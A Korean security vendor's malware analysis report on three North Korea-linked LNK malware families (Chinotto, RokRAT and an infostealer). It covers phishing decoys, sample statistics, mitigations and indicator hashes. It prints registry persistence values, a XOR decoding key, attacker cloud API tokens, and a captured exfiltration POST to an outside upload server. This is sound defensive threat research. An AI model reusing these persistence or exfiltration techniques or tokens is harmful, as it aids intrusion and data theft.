2023년 10월 현재도 피해사례 지속적으로 발생 중

# 북한발 LNK 악성코드 3종 분석

## 요약

**1. 사전에 탈취된 정보를 바탕으로 정교한 피싱 컨텐츠 제작하여 타깃 겨냥**

: 세금계산서, 세금징수문서, 백신 위장 문서 등

**2. 일회성 공격이 아닌 타깃이 명확하게 설정된 지속적 공격**

: 10개월간 지속된 한미연합연습을 노린 '김수키' 사이버 공격

**3. 주로 LNK 파일을 통해 공격 수행**

: 파일확장자명이 표시되지 않아 타깃을 쉽게 속일 수 있음

: 2023년 8월에만 6,600건이 발견, 현재 진행 중

**4. LNK 파일 3종**

1) Chinotto 악성코드 유포

: 가장 많이 발견된 사례

2) RokRAT 악성코드 유포

: 신뢰 가능한 서비스 OneDrive 통해 악성코드 유포

3) 정보탈취형 악성코드 유포

: 사용자PC 모든 문서 파일 경로, 공인 IP, 프로세스 목록 등 탈취

## 대응 방안

1. 논리적 망분리를 적용하여 악성코드 PC 유입을 원천 차단
2. AV(패턴기반탐지) + EDR(행위기반탐지) 솔루션을 최신 형상으로 유지
3. PC 취약점을 주기적으로 점검, 보완
4. 신뢰할 수 없는 메일의 첨부파일은 실행을 금지
5. 비 업무 사이트 및 신뢰할 수 없는 웹사이트의 연결을 차단
6. OS나 어플리케이션은 최신 형상을 유지

# 목차


## 1. 개요
1.1 배경

## 2. LNK 파일 분석
2.1 유형 #1: Chinotto 악성코드 유포
2.2 유형 #2: RokRAT 악성코드 유포
2.3 유형 #3: 정보탈취형 악성코드 유포
2.4 결론

## 3. Privacy-i EDR 탐지 정보

## 4. 대응

## 5. 참고자료
5.1 국내 피해 현황
5.2 국제 피해 현황
5.3 침해 지표
5.3.1 유형 #1: Chinotto RAT 실행 악성 LNK
5.3.2 유형 #2: RokRAT 실행 악성 LNK
5.3.3 유형 #3: 사용자 정보 탈취 악성 LNK






# 1. 개요

## 1.1 배경

[그림 1] 인터넷에 공개된 취약점 익스플로잇 정보

2022년 7월, Microsoft에서 오피스 문서 매크로를 기본적으로 비활성화한 이후부터
공격자들은 이를 대체할 수 있는 유포 방식을 연구해왔다.
제로데이 공격이나 소프트웨어의 취약점을 악용하는 공격 방식은
공격 대상의 소프트웨어 버전, 취약점 패치 여부, 보안 제품 운영 여부 등을 포함한
환경적인 요인에 영향을 받기 때문에 공격 성공률이 낮을 수밖에 없다.

따라서, 취약점 공격 없이 악성코드를 대상 시스템에서 실행시키기 위해 공격자는 피싱을 시도하여
피해자가 악성코드를 직접 실행하도록 유도한다. 공격자들은 공격 성공 확률을 높이기 위해
개인 또는 특정 집단의 성격에 맞게 정교한 공격을 수행한다.

이를 위해 정보탈취형 악성코드로부터 수집한 정보들을 기반으로
피싱 컨텐츠를 제작하여 더 위력적인 피싱 공격으로 발전시키기도 한다.
이외에도 로그인 폼이나 택배 문자 등 흔하게 볼 수 있는 컨텐츠를 제작하여
습관적인 상호작용을 유도하거나, 악성코드에 감염됐다는 시스템 알림을 거짓으로 표시해
악성코드 유포지로 접속을 유도하여 백신으로 위장한 악성 프로그램을 실행시키는 방법 등이 있다.

[그림 2] 공격에 사용된 피싱 컨텐츠 예시

피싱은 주의를 기울이면 상당 부분 예방할 수 있는 공격임에도 불구하고
위력적인 이유가 두 가지 존재한다.

첫째, 일반인 입장에서 해당 컨텐츠(메일, 문자, 타이포스쿼팅을 이용한 도메인 등)의
피싱 여부를 구분하기 어렵기 때문이다. 스팸 메일함, 구글 세이프 브라우징, 백신 제품 등을 통해
어느정도 방지할 수는 있지만, 사용자에 의해 우회되거나 비활성화가 가능하다는 한계점이 존재한다.

둘째, 피싱 공격은 일회성에 그치지 않고 지속적으로 시도된다.
2023년 1월, 한미연합군사훈련을 앞두고 북한이 국내 워게임 운용업체 직원을 대상으로
피싱 공격에 성공한 사실이 경찰청에 의해 발표됐다. [01]
이는 2022년 4월부터 시작해 무려 10개월 간 지속된 공격이었다.

출처를 알 수 없는 컨텐츠에 주의를 기울여야 한다는 것을 모두가 알고는 있지만
공격을 인지하는 것이 어렵기 때문에 전문가조차도 피싱 공격으로부터 안전하다고 보기는 어렵다.

01 경찰청 보도자료 한미연합연습 노린 북 '김수키' 소행 사이버 공격 확인

[그림 3] 2023년도 악성 CHM 및 LNK 파일 샘플 추이

| 날짜 | CHM 파일 수 | LNK 파일 수 |
|---|---|---|
| 2023년 1월 | 1 | 9 |
| 2023년 2월 | 0 | 20 |
| 2023년 3월 | 0 | 24 |
| 2023년 4월 | 0 | 160 |
| 2023년 5월 | 3 | 74 |
| 2023년 6월 | 3 | 2,741 |
| 2023년 7월 | 4 | 2,944 |
| 2023년 8월 | 47 | 6,600 |

[표 1] 2023년도 악성 CHM 및 LNK 파일 샘플 통계

Microsoft의 오피스 문서 매크로 비활성화 정책 이후로 공격자들은
악성코드를 CHM(Compiled HTML Help File)과 LNK(Windows Shortcut File)의
두 가지 형식 위주로 제작해왔다. 이는 주로 피싱 메일의 첨부파일로 유포되어 사용자의 실행을 유도했다.

소만사 악성코드 분석 센터에서 수집한 2023년 악성 CHM 및 LNK 파일의 유포 통계에 따르면
CHM 파일의 수에 비해 LNK 파일의 수가 많은 비중을 차지하는 것을 확인할 수 있다.
두 형식 모두 별도의 프로그램 설치 없이 대상 PC에서 실행될 수 있다는 특징이 있지만,
LNK 파일은 확장자명이 따로 표시되지 않아 피해자를 속이기 수월하여
CHM 파일보다 많이 악용되었을 것으로 추측된다.

[그림 4] 2023년 북한발 추정 악성 LNK 샘플의 침해지표 관계도

소만사 악성코드 분석 센터는 2023년도 수집된 악성 LNK 파일 중
북한이 유포한 것으로 추정되는 샘플을 분류하기 위해
피싱 공격의 전략 및 전술, 공격의 페이로드와
북한이 유포했던 악성코드들과의 유사도 분석을 진행하였다.
이를 통해 북한이 유포한 것으로 추정되는 샘플을 대상으로
코드 패턴의 유사도, 내장된 추가 악성코드, C&C 서버 도메인 등의 요소를 고려하여
아래 세 가지 유형으로 분류하였다.

**1번 유형:** 공통적으로 샘플 당 두 개의 동일한 C&C 서버와 통신
**2번 유형:** 추가 악성코드를 내려받는 C&C 서버가 동일하거나 1번 유형의 C&C 서버와 통신
**3번 유형:** 서로 다른 C&C 서버와 통신

악성 LNK 샘플 분석을 통해 파악된 침해지표의 관계도 **[그림 4]**를 보면
1번 유형과 2번 유형처럼 동일한 C&C 서버와 통신하는 경우에는 그래프가 원형으로 나타난다.
반면, 3번 유형과 같이 서로 다른 C&C 서버와 통신하는 경우
그래프가 방사형으로 표현되는 것을 확인할 수 있다.

[그림 5] 1번과 2번 유형 간의 연관성

흥미로운 점은 1번 유형과 2번 유형 사이에는 연관성이 있다는 것이다.
2번 유형은 대부분 OneDrive 파일 공유 링크를 추가 악성코드 다운로드 서버로 사용했지만,
단 하나의 샘플만이 OneDrive가 아닌 1번 유형과 동일한 C&C 서버를 사용하였다.
차이점은 1번 유형의 경우 해당 서버에 IP 주소로 직접 접속했고,
2번 유형 경우 도메인 이름으로 접속한 것이다.

소만사 악성코드 분석 센터는 LNK 파일 형식으로 유포되는 북한의 악성코드 유형을 정리하고
내용을 최신화하기 위해 본 보고서를 작성했다.

## 2. LNK 파일 분석

소만사 악성코드 분석 센터는 2023년 1월부터 8월까지 유포된 악성 LNK 파일 중
북한과 연관된 것으로 추정되는 파일들을 모아 서두에서 다루었던 것과 같이 세 유형으로 분류하였다.
각 유형별 샘플 분석 결과, 세 가지 유형에서 오피스 문서의 매크로 등
다른 형태로 유포되던 악성코드들이 LNK 형식으로 유포 방식이 변화한 것을 확인할 수 있었다.
공통적으로 LNK 파일 내에 미끼 파일과 악성 파일이 위치해 있었으며,
실행 시 피해자에게 미끼 파일을 보여줌과 동시에 악성 행위를 수행했다.
본 보고서는 이를 각 유형별로 간략하게 살펴본다.

### 2.1 유형 #1: Chinotto 악성코드 유포

1번 유형은 PowerShell 스크립트로 작성한 Chinotto[02] 악성코드를 유포하는 유형으로
LNK 파일 형식으로 유포되는 샘플은 올해 8월에 최초로 식별하였고,
한 달간 45개의 샘플이 발견되었다. 샘플의 개수는 이후 소개할 다른 유형들보다 압도적으로 많지만,
LNK 파일에 내장된 미끼 파일이나 악성 스크립트는 모두 동일하다.

[그림 6] 미끼 파일 화면

02 북한 해킹 그룹(APT37)이 유포한 악성코드로 2021년에 Kaspersky GReAT 팀에 의해 발견되었다.
당시 실행파일 내에 공격자가 소스코드 프로젝트 폴더의 이름을 chinotto라고 지은 것을 그대로 해당 악성코드의 이름으로 칭하였다.
Windows 실행 파일, PowerShell 스크립트, Android 앱 등 다양한 형태로 유포된다.





| | |
|---|---|
| **서브키** | HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce |
| **이름** | BackupUserProfiles |
| **종류** | REG_SZ |
| **데이터** | C:\Windows\SysWOW64\cmd.exe /c %appdata%\Microsoft\Protect\UserProfileSafeBackup.bat |

[표 2] 지속성을 위한 레지스트리 생성

악성 LNK 파일 실행 시, **[그림 6]**과 같은 미끼 파일을 화면에 보여주며,
동시에 악성 배치 스크립트가 실행된다.
이 배치 스크립트는 자기 자신을 %appdata%\Microsoft\Protect 경로에
UserProfileSafeBackup.bat 이름으로 복사한 뒤, RunOnce 레지스트리 키에 자신을 등록한다.
윈도우즈는 시스템 부팅 시 RunOnce 하위에 등록된 명령을 한 번 실행하고
삭제시키므로 일회성이지만, 이 경우 삭제와 재등록이 반복되므로 지속성을 확보할 수 있게 된다.

[그림 7] Chinotto RAT 실행 흐름도

이후에는 배치 스크립트에 내장된 Chinotto 악성코드를 실행하는데, 흐름도는 **[그림 7]**과 같다.

C&C #1은 카페24에서 호스팅 중인 국내 모 청소전문업체 기업의 웹사이트이다.
보안이 취약한 국내 웹서버를 공격해 자신들의 공격 서버로 활용한 것으로 보이며
분석 당시 네트워크 트래픽이 확인되지 않아 추가 악성코드는 확인할 수 없었다.
만일 C&C 서버가 활성화된다면, 공격자는 감염PC에서 mshta[03] 를 통해 임의의 코드를 실행할 수 있다.

03 HTA 파일 실행을 지원하는 윈도우즈 기본 프로그램이다,
공격자는 이를 통해 WSH(Windows Script Host)에서 지원하는 종류의 스크립트를
클라이언트 측에서 실행시킬 수 있어 원격 코드 실행을 달성할 수 있다.





| |
|---|
| regedit:〈SUBKEY_PATH〉\|\|〈UNUSED1〉\|\|〈VALUE_NAME〉\|\|〈UNUSED2〉\|\|〈VALUE_DATA〉 |

[표 3] 레지스트리 생성 명령 형식

C&C #2는 Contabo에서 호스팅 중인 정상 해외 웹사이트이다.
마찬가지로 보안이 취약한 웹사이트를 자신들의 공격 서버로 활용한 것으로 추측할 수 있으며
네트워크 트래픽은 확인되지 않았다. 만일 C&C 서버가 활성화된다면,
공격자는 감염PC에 **[표 3]**와 같은 형식의 명령을 전송해 REG_SZ 종류의 레지스트리를 생성할 수 있다.

## 2.2 유형 #2: RokRAT 악성코드 유포

2번 유형은 RokRAT[04] 악성코드를 내려받아 실행하는 악성 LNK 파일이다.
LNK 파일 형식으로 유포되는 RokRAT 샘플은 올해 1월에 처음으로 식별하였다.

[그림 8] 공격에 사용된 다양한 미끼 파일 화면

1번 유형과 다르게 본 유형의 샘플들은 현재까지 미끼 파일을 꾸준히 변화시켜왔다.
HTML, PDF, HWP 파일 등 여러 형식의 파일을 사용하였으며,
이들은 피해자에게 실행을 유도하기 위해 피싱을 수행한다는 공통점을 지닌다.

04 북한 해킹 그룹(APT37)이 유포한 악성코드로 정상 클라우드 서비스를 C&C 서버로 사용하며, 정보 탈취, C&C 등의 악성 행위를 수행한다. 2017년, Cisco Talos 팀에 의해 식별되었다.

[그림 9] OneDrive 링크 접속 화면

또한 대부분의 샘플이 추가 악성코드인 RokRAT을
OneDrive[05] 파일 공유 링크로부터 내려받는다는 공통점을 가진다.
신뢰 가능한 서비스를 통해 악성코드를 유포할 경우
공격자는 자기자신의 노출을 줄일 수 있다는 이점이 있다.
이러한 전략을 **LOTS(Living Off Trusted Sites)** 라고 부른다.

05 Microsoft에서 제공하는 클라우드 저장소 서비스이다.

```
"createdBy": {
    "application": {
        "displayName": "OneDrive",
        "id": "481710a4"
    },
    "user": {
        "displayName": "\ucd1d\ubb34\uc778\uc0ac\ud300 \uc804\uc790\ubb38\uc11c",
        "id": "e25fc04f12e0d34"
    }
},
```

[그림 10] OneDrive 파일 공유 사용자 정보

OneDrive 링크를 확인해보니 사용자 “총무인사팀 전자문서”가
“AutumnPark”라는 이름의 파일을 공유하고 있었다.
이 파일은 2023년 5월에 발견된 RokRAT 비컨으로 확인되었다.
최근 본 유형의 LNK 샘플들은 파일 공유 링크가 폐기되었으나,
2023년 1월에 발견된 샘플의 파일 공유 링크는 여전히 유효했다.





```
Offset(h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F  Decoded text
00000A40  BF CF 72 3E 83 FE 74 8F EF F7 83 F4 AA 08 16 74  ¿Ïr>ƒþt.ï÷ƒôª..t
00000A50  3F 08 AA 34 1C F3 7C F3 D3 34 1F 00 08 08 08 34  ?.ª4.ó|óÓ4.....4
00000A60  F7 95 FF F7 E1 D3 AF E3 AC 89 3F E3 E2 D3 AF E3  ÷•ÿ÷áÓ¯ã¬‰?ãâÓ¯ã
00000A70  E5 D3 AF E3 1E 2C AF E3 59 D3 AF E3 E1 D3 AF E3  åÓ¯ã.,¯ãYÓ¯ãáÓ¯ã
00000A80  A1 D3 AF E3 E1 D3 AF E3 E1 D3 AF E3 E1 D3 AF E3  ¡Ó¯ãáÓ¯ãáÓ¯ãáÓ¯ã
00000A90  E1 D3 AF E3 E1 D3 AF E3 E1 D3 AF E3 E1 D3 AF E3  áÓ¯ãáÓ¯ãáÓ¯ãáÓ¯ã
00000AA0  E1 D3 AF E3 C9 D2 AF E3 EF CC 15 ED E1 67 A6 2E  áÓ¯ãÉÒ¯ãïÌ.íág¦.
00000AB0  C0 6B AE AF 2C F2 FB 8B 88 A0 8F 93 93 BC C8 91  Àk®¯,òû‹ˆ .“”¼È‘
00000AC0  80 BE 8F 80 80 BD C1 8C 95 F3 CD 86 C1 A1 DA 8D  €¾.€€½ÁŒ•óÍ†Á¡Ú.
00000AD0  C1 BA C1 C3 A5 9C FC C3 8C BC CB 86 CF DE A2 E9  Áº ÁÃ¥œüÃŒ¼Ë†ÏÞ¢é
```

[그림 11] RokRAT 디코딩 전

```
Offset(h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F  Decoded text
00000A40  5E 1C DD DD 62 2D DB 6C 0E 24 2C 17 4B DB B9 97  ^.ÝÝb-Ûl.$,.KÛ¹—
00000A50  DE DB 05 D7 FD 20 D3 10 32 E7 B0 E3 E9 DB A7 D7  ÞÛ.×ý Ó.2ç°ãéÛ§×
00000A60  16 46 50 14 00 00 00 00 4D 5A 90 00 03 00 00 00  .FP.....MZ......
00000A70  04 00 00 00 FF FF 00 00 B8 00 00 00 00 00 00 00  ....ÿÿ..¸.......
00000A80  40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  @...............
00000A90  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000AA0  00 00 00 00 28 01 00 00 0E 1F BA 0E 00 B4 09 CD  ....(.....º..´.Í
00000AB0  21 B8 01 4C CD 21 54 68 69 73 20 70 72 6F 67 72  !¸.LÍ!This progr
00000AC0  61 6D 20 63 61 6E 6E 6F 74 20 62 65 20 72 75 6E  am cannot be run
00000AD0  20 69 6E 20 44 4F 53 20 6D 6F 64 65 2E 0D 0D 0A   in DOS mode....
```

[그림 12] RokRAT 디코딩 후

해당 비컨 실행파일은 인코딩되어 내용이 가려진 상태였다.
4바이트 크기의 키 0xE3AFD3E1로 XOR 디코딩한 후 실행 파일이 포함된 것을 확인할 수 있었다.

| 서비스명 | 인증 토큰 |
|---|---|
| PCloud | RSbj7Z6XeH99O0GWuZbFVRc7ZPRGBgUa3aX78bW9r6SCJvbucv8rX |
| Yandex Cloud | y0_AgAAAABktxgeAAhzLwAAAADP4MRO0ov8ZOdeTdemGVphHdtTebKtNKY |

[표 4] 하드코딩 된 REST API 인증 토큰

RokRAT 비컨에는 Dropbox, PCloud, Yandex Cloud의 클라우드 저장소 서버와
통신하기 위한 기능이 존재했다. PCloud와 Yandex Cloud는 API 인증토큰이 실행파일 내에 존재했으나,
Dropbox API의 인증 토큰은 존재하지 않았다.
비컨은 PCloud 서버와 먼저 통신 시도 후 Yandex Cloud 서버와 통신하며,
분석 당시 서버와 통신은 불가했다.

```
00000000:  06 02 00 00 00 A4 00 00  52 53 41 31 00 08 00 00  ........RSA1....
00000010:  01 00 01 00 29 AD DD 78  AE 79 8A 76 71 3C 2E 68  ....)..x.y.vq<.h
00000020:  15 4C 2E F7 55 41 01 7A  F9 94 63 DC BB 85 84 CE  .L..UA.z..c.....
00000030:  77 54 00 38 EA 0F C7 2B  B8 28 CD 01 63 69 8D 3F  wT.8...+.(..ci.?
00000040:  B6 78 6A 91 F8 C8 ED A6  4E 48 AF EE 9A D7 E1 3D  .xj.....NH.....=
00000050:  E7 66 6D 48 A0 0A 2C 1A  18 87 E1 3B 62 E1 AD FC  .fmH..,....;b...
00000060:  D5 D6 71 54 DC 58 24 A5  AF 5B 2B 18 02 57 10 E6  ..qT.X$..[+..W..
00000070:  91 29 88 C5 66 03 15 FD  CE FD 90 62 5C 8C FF 78  .)..f.....b\..x
00000080:  BC DB 28 2B CC DC F8 31  C3 FE 86 D7 F6 B5 83 DD  ..(+...1........
00000090:  11 DB DE 43 BB CF F7 86  97 6F 08 7C ED 95 A3 3B  ...C.....o.|...;
000000A0:  F3 3A E2 1A 63 4C 87 FB  83 DD 26 F6 97 D4 76 87  .:..cL....&...v.
000000B0:  9F 04 04 36 1F 6D 42 11  DD 3D 66 85 C9 B7 23 F2  ...6.mB..=f...#.
000000C0:  32 82 A2 18 CB AA 5E 94  47 AD 41 13 11 BE C9 74  2.....^.G.A....t
000000D0:  F7 16 0E E6 89 18 CF 0D  C4 9A BD 52 0D 1C EE D6  ...........R....
000000E0:  4F B7 9D 0F 08 80 6B EE  4D BC C6 FE 79 90 A4 BF  O.....k.M...y...
000000F0:  30 31 69 0C D4 25 F3 C2  87 F0 76 71 E8 60 C8 9E  01i..%....vq`...
00000100:  AE 0B D6 D6 6D 27 CD 77  0C E1 6B 3E 78 77 21 29  ....m'.w..k>xw!)
00000110:  85 9E 02 C3                                       ....
```

[그림 13] 하드코딩 된 RSA 공개키

공격자는 감염PC로부터 수집한 정보를 클라우드 서버에 업로드하거나
또는 추가 악성코드를 내려받아 실행한다.
수집한 정보를 업로드 할 시 AES 및 RSA 암호화 작업 후 전송한다.
RSA 공개키의 크기는 2,048비트로 실행파일 내에 존재했다.





## 2.3 유형 #3: 정보탈취형 악성코드 유포

3번 유형은 감염PC의 정보를 탈취하는 악성코드이다.
분석 당시 C&C 서버로부터 추가 악성코드를 내려받아 실행하는 기능은 확인하였으나,
어떤 악성코드를 내려받는지는 확인이 불가했다. 따라서 다운로드 서버가 활성화될 경우
정보탈취 이외의 추가적인 악성 행위를 수행할 가능성이 존재한다.

[그림 14] 미끼 파일 화면

앞의 두 유형과 마찬가지로 LNK 파일 실행 시 미끼 파일이 화면에 표시되는 동시에 악성코드가 실행된다.
**[그림 14]**의 미끼 파일은 법제처 홈페이지에서 다운로드 가능한 파일로,
본 유형의 모든 샘플에서 해당 파일이 공통적으로 사용되었다.

| 이름 | 수정한 날짜 | 유형 | 크기 |
|---|---|---|---|
| 04664854.bat | 2023-06-30 오전 10:34 | Windows 배치 파일 | 1KB |
| 28931999.bat | 2023-06-30 오전 10:34 | Windows 배치 파일 | 2KB |
| 40586241.bat | 2023-06-30 오전 10:34 | Windows 배치 파일 | 2KB |
| 54989700.bat | 2023-06-30 오전 10:34 | Windows 배치 파일 | 1KB |
| 83678632.bat | 2023-06-30 오전 10:34 | Windows 배치 파일 | 1KB |
| start.vbs | 2023-06-30 오전 10:34 | VBScript 스크립... | 1KB |
| unzip.exe | 2023-05-15 오전 12:34 | 응용 프로그램 | 164KB |

[그림 15] LNK 파일에 내장된 정보탈취형 악성코드

| 파일명 | 설명 |
|---|---|
| [0-9]{8}.bat | 배치 스크립트로 작성된 모듈들이다.<br>정보 탈취, RC4 암호화, 탈취한 데이터 전송, 파일 다운로드 등의 기능이 존재한다. |
| start.vbs | 본 악성코드를 실행하기 위한 Visual Basic 스크립트이다. |
| unzip.exe | C&C 서버로부터 내려받은 ZIP 압축파일을 해제하기 위한 정상 도구이다.<br>수집한 샘플들은 공통적으로 5.52 버전을 사용하였다. |

[표 5] 정보탈취형 악성코드 패키지 정보

공통점은 LNK 파일 내에 항상 **[그림 15]**의 파일들이 압축된 상태로 포함되어 있다는 부분이다.
배치 스크립트 파일명은 매번 다르지만 항상 여덟 자리의 십진수 형식을 띈다.
실행 시 C&C 서버로부터 추가 악성코드를 ZIP 파일 형식으로 내려받기 때문에
이를 해제하기 위한 도구 unzip도 함께 사용된다.





| | |
|---|---|
| 서브키 | HKCU\Software\Microsoft\Windows\CurrentVersion\Run |
| 이름 | svchostno2 |
| 종류 | REG_SZ |
| 데이터 | %CD%\start.vbs |

[표 6] 지속성을 위한 레지스트리 생성

매 부팅 시마다 감염PC에서 악성코드가 실행될 수 있도록 Run 레지스트리 키에 등록한다.

[그림 16] 정보탈취형 악성코드 실행 흐름도

C&C 서버는 샘플 당 두 개로, 하나는 추가 악성코드를 내려받는 다운로드 서버이고,
다른 하나는 수집한 감염PC의 정보를 전송하기 위한 업로드 서버이다.
C&C #1과의 네트워크 트래픽이 확인되지 않아 어떤 악성코드를 내려받는지는 알 수 없었다.
단, 추가 악성코드를 실행하는 방식은 rundll32[06] 을 사용해 특정 함수를 실행하는 형태이다.

```
Hypertext Transfer Protocol
  POST /upload.php HTTP/1.1\r\n
  Content-Type: application/x-www-form-urlencoded\r\n
  Host: elinline.com\r\n
  Content-Length: 18216\r\n
  Expect: 100-continue\r\n
  Connection: Keep-Alive\r\n
  \r\n
  [Full request URI: http://elinline.com/upload.php]
  [HTTP request 1/1]
  [Response in frame: 593]
  File Data: 18216 bytes
HTML Form URL Encoded: application/x-www-form-urlencoded
  Form item: "fn" = "zCN24LZaFxAu0mA4v0WzgxOAZb7TVNlIWQ=="
  Form item: "fd" = "hWxsxoNyIh0r5Uls0yah/EfTLvKHWo0QDZ7htWcNe2t8Q3ewi1J7qCvlt8JWmvnkmYPCg0WMMlG/xLMbLUCmkvt+A
  Form item: "r" = "638295046449906728"
```

[그림 17] 데이터 유출 당시의 네트워크 패킷

| 필드명 | 설명 |
|---|---|
| fn | %COMPUTERNAME%_〈FILENAME〉.txt 형식의 파일명.<br>RC4 암호화 및 Base64 인코딩되었다. |
| fd | 유출 데이터. RC4 암호화 및 Base64 인코딩되었다. |
| r | RC4 대칭키. 현재 시간(초 단위)을 대칭키로 사용한다. |

[표 7] 네트워크 패킷에 포함된 필드 정보

수집한 데이터는 모두 RC4 알고리즘으로 암호화하여 HTTP POST 메시지로 전송한다.
이 때, 보안 제품에서의 탐지를 회피하기 위해 전송하는 데이터를
실행 당시의 시간(초 단위)을 대칭키로 암호화하여 서버로 전송한다.

06 실행파일에서 서비스하는 함수를 실행시킬 수 있는 윈도우즈 기본 프로그램이다.
DLL 확장자를 가진 파일은 단독으로 실행이 불가한데, rundll32를 사용하면 이를 실행할 수 있다.





- %USERPROFILE%\Downloads 하위의 모든 파일 경로
- %USERPROFILE%\Documents 하위의 모든 파일 경로
- %USERPROFILE%\Desktop 하위의 모든 파일 경로
- C:\Program Files 하위의 모든 파일 경로
- 공인 IP 주소
- 프로세스 목록
- 시스템 정보 (운영체제 및 하드웨어 정보 등)

감염PC로부터 탈취하는 정보는 위와 같다.
이 정보들은 피싱을 더욱 정교하게 만드는 데 사용되거나
후속 공격을 위한 대상을 선정하는 데에 사용될 것으로 추측된다.

## 2.4 결론

보안 제품의 정책에 알려진 침해지표를 반영하여 공격 시도를 막을 수도 있으나 한계는 존재한다.
공격에 새로운 파일 또는 C&C 서버가 사용되는 시점부터
침해지표가 반영되기 이전까지의 시간 동안은 취약하기 때문이다.
따라서 악성 행위 실시간 분석과 대응이 가능한 행위 기반 탐지 엔진을 사용하여
공격 시도가 지속적으로 급증하고 있는 LNK 악성코드에 대한 선제적인 대응이 필요하다.

## 3. Privacy-i EDR 탐지 정보

[그림 18] 비정상적인 LNK 파일 생성 행위 탐지

[그림 19] 비정상적인 LNK 파일 실행 행위 탐지

Privacy-i EDR은 행위 기반 탐지 엔진을 사용해 사용자가 악성으로 의심되는 LNK 파일에 접근하려는 시도를 탐지 및 차단한다.
Privacy-i EDR의 비정상적인 LNK 파일에 대한 실시간 탐지 및 선제적 대응을 통해 사용자는 PC에서 악의적인 코드 실행, 정보 탈취 발생을 사전에 차단하고, 자기자신의 데이터를 보호할 수 있다.

# 4. 대응

1. 논리적 망분리를 적용하여 악성코드 PC 유입을 원천 차단한다
2. AV(패턴기반탐지) + EDR(행위기반탐지) 솔루션을 최신 형상으로 유지한다.
3. PC 취약점을 주기적으로 점검, 보완한다.
4. 신뢰할 수 없는 메일의 첨부파일은 실행을 금지한다.
5. 비 업무 사이트 및 신뢰할 수 없는 웹사이트의 연결을 차단한다.
6. OS나 어플리케이션은 최신 형상을 유지한다.





# 5. 참고자료

## 5.1 국내 피해 현황

| 기업명 | 설명 |
|---|---|
| 청담크린 | 웹서버가 Chinotto RAT의 명령 및 제어를 위한 서버로 악용됨 |

[표 8] 국내 기업 피해 현황

## 5.2 국제 피해 현황

| 기업명 | 설명 |
|---|---|
| Circonscription de TOURCOING-EST | 웹서버가 Chinotto RAT과 RokRAT의 추가 악성코드 유포지로 악용됨 |

[표 9] 국제 기업 피해 현황

## 5.3. 침해 지표

### 5.3.1 유형 #1: Chinotto RAT 실행 악성 LNK

| 발견 날짜 (UTC+9) | 파일 해시 (SHA-256) |
|---|---|
| 2023-08-30 | 9ca21eb893280ea149f357db9ce821bd0309b001b28fb7542bece83be50fb693 |
| 2023-08-29 | ad7f3a9ae778800b71b0b6ca37c9902b715b690c667305cb464173c863c4f88c |
| 2023-08-29 | 2df0e7acb80315fbdff7d322b47320ea0effb026b004d56e25b9383d0d5cd793 |
| 2023-08-29 | b3add52ad7e87f136bb817470d51366f6972be4a38b6d984b744e6e393cd39eb |
| 2023-08-28 | 6fcf77de16c544f92486ef5ab168ff278e5803a032d892a0c9b8173fb59b6f59 |
| 2023-08-28 | 20d949bf75ae42ff1055c1508c76fdbc11b4c822fea073ecb69c2784bd90e5fb |
| 2023-08-28 | 8d1b7aa80317d4d8d380d38c0cbb5d103442289df0bc200c00b47bb49a9c74c0 |
| 2023-08-28 | 9b880148ddc04ef1f2a58173145b6f59c31673a127de53339b61f78b440768e3 |
| 2023-08-28 | a6afb6af7ff0752dc23d1f6cb0cad60f6e8ce03ec84444a5b7154d872cbb5b32 |
| 2023-08-28 | 701fbbd6ecbae4c4389418d7050d8c93662d4dc1c40b1081dbff645f042f3ec4 |
| 2023-08-28 | 7fe0b9c76cba55f6f7d884623ed563f173e51e22c5bbb9db1b074acd24220e08 |
| 2023-08-28 | 8288a6139d03603713be8073d1acf431633e651fcbba9cc77d76ebdff6334e6e |
| 2023-08-27 | b5344d88d4d5fdd6b84bc849d36de06885d02fce380a5833e840c77640cdb803 |
| 2023-08-27 | 7ece30c7bf2cde201bc560fae7fc5e9a4767ba13549ab6c447fc7f8ca25ef1d7 |
| 2023-08-27 | 379d2297bbb6ce657637fef558944fa91f69c9186f1e52774383ca7147d30c92 |
| 2023-08-27 | 8cdd7beed24cddebe60fb3272a8a744f0a98b1f8209122e7a1c1d93d390ed190 |
| 2023-08-27 | df624d237872495ab417e07293dec8b9ea8aae8fc5cdb95e5bc04bbc57e7a8a2 |
| 2023-08-27 | 7cb89240d9729be82b6b3361b092a9a0181fd2013554f79af590c4cdf5cf0061 |





| | |
|---|---|
| 2023-08-27 | 3cc6cca694b2fe9e7fbae8992503f84468c9ecc694e217b47603904a4e2c90c9 |
| 2023-08-26 | e6929977c0abf8ffea1d82254b157da6596c5ea13adfdc79fc98d6acf99b57fa |
| 2023-08-26 | b5a6e2a346de8039068e12287c7f1a7c4d7c161fc3ea5f12eb60961f02cb8c7e |
| 2023-08-26 | b27276ceeed83c6f6f4f074c63beb5c1dd6e609f5145768b053e6748274977bb |
| 2023-08-25 | 46ffcb4086b3b60a07b89057ff3d61025034aa94c666cad6c6d8861a96514ed3 |
| 2023-08-25 | 30865183c5f2aee1c5e5185ed6076122b40a5dfe98792b6a195bad70002423f6 |
| 2023-08-24 | 9b8ada5554f90104ee6dc4c14998c1731f36696292d273807a5048c17ed03120 |
| 2023-08-24 | 7dd13d6b17d9d9a2378153290aa6f7d8e2a053bd421a69c43b164d0abc066562 |
| 2023-08-24 | dcdc6a063b58967a32db3f5f1505e2212e8a451bf20089f75e40e76ccd119ef2 |
| 2023-08-24 | dbc90638c27785b7d053afdc5d67b8981f50afe4e3b75320fc29fee0a016d257 |
| 2023-08-24 | b8046785aa538a2a597e7a71054f52c44062785332a45bf54663a5e6b7bd869e |
| 2023-08-23 | e9aa601da9eb8c67f4ebbacfc90e7e950157fb1d4ec4ce315a859525afb7375b |
| 2023-08-23 | eb911df248d1f909afb649a9a3acbf693211fefce7c9329a7e5539afd312aad1 |
| 2023-08-23 | f3d67bf063fcd686f5f3d915f5b7f5baf787d76c233643053b370360dc0fcb52 |
| 2023-08-22 | 43df468471c8efdc3d9df07e613a63c7cf5d3195960cc74a2c4034097e6222d9 |
| 2023-08-22 | f2c961b458a155aedc823495873334cdc6d4250c5c0924347e67b0fedacf737c |
| 2023-08-22 | 3d2da235670beb7e98bfc488e526443fb6a4451a295a5e5bdb0f331dd1df312b |
